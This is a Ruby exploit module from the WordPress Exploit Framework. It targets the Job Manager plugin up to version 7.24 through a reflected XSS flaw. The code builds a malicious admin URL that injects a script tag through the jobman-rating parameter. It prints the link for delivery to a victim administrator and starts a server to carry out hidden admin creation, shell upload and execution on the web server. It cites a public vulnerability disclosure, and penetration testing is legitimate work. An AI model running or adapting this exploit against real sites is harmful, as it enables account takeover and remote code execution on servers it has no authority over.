# frozen_string_literal: true

class Wpxf::Exploit::JobManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::Net::HttpClient
  include Wpxf::WordPress::Login
  include Wpxf::WordPress::Plugin
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'Job Manager <= 7.24 Reflected XSS Shell Upload',
      desc: 'This module prepares a payload and link that can be sent to an '\
            'admin user which when visited with a valid session will create '\
            'a new admin user which will be used to upload and execute the '\
            'selected payload in the context of the web server.',
      author: [
        'Marcin Probola', # Discovery and disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8313'],
        ['URL', 'http://cinu.pl/research/wp-plugins/mail_1dfacc7d899e69599b017c068d50809d.html']
      ],
      date: 'Aug 25 2015'
    )
  end

  def check
    check_plugin_version_from_readme('job-manager', '7.25')
  end

  def url_with_xss
    normalize_uri(
      wordpress_url_admin,
      "admin.php?page=jobman-list-applications"\
      "&jobman-rating=#{url_encode("\"><script>#{xss_include_script}</script>")}"
    )
  end

  def run
    return false unless super

    @success = false
    emit_info 'Provide the URL below to the victim to begin the payload upload'
    puts
    puts url_with_xss
    puts

    start_http_server
    return @success
  end
end
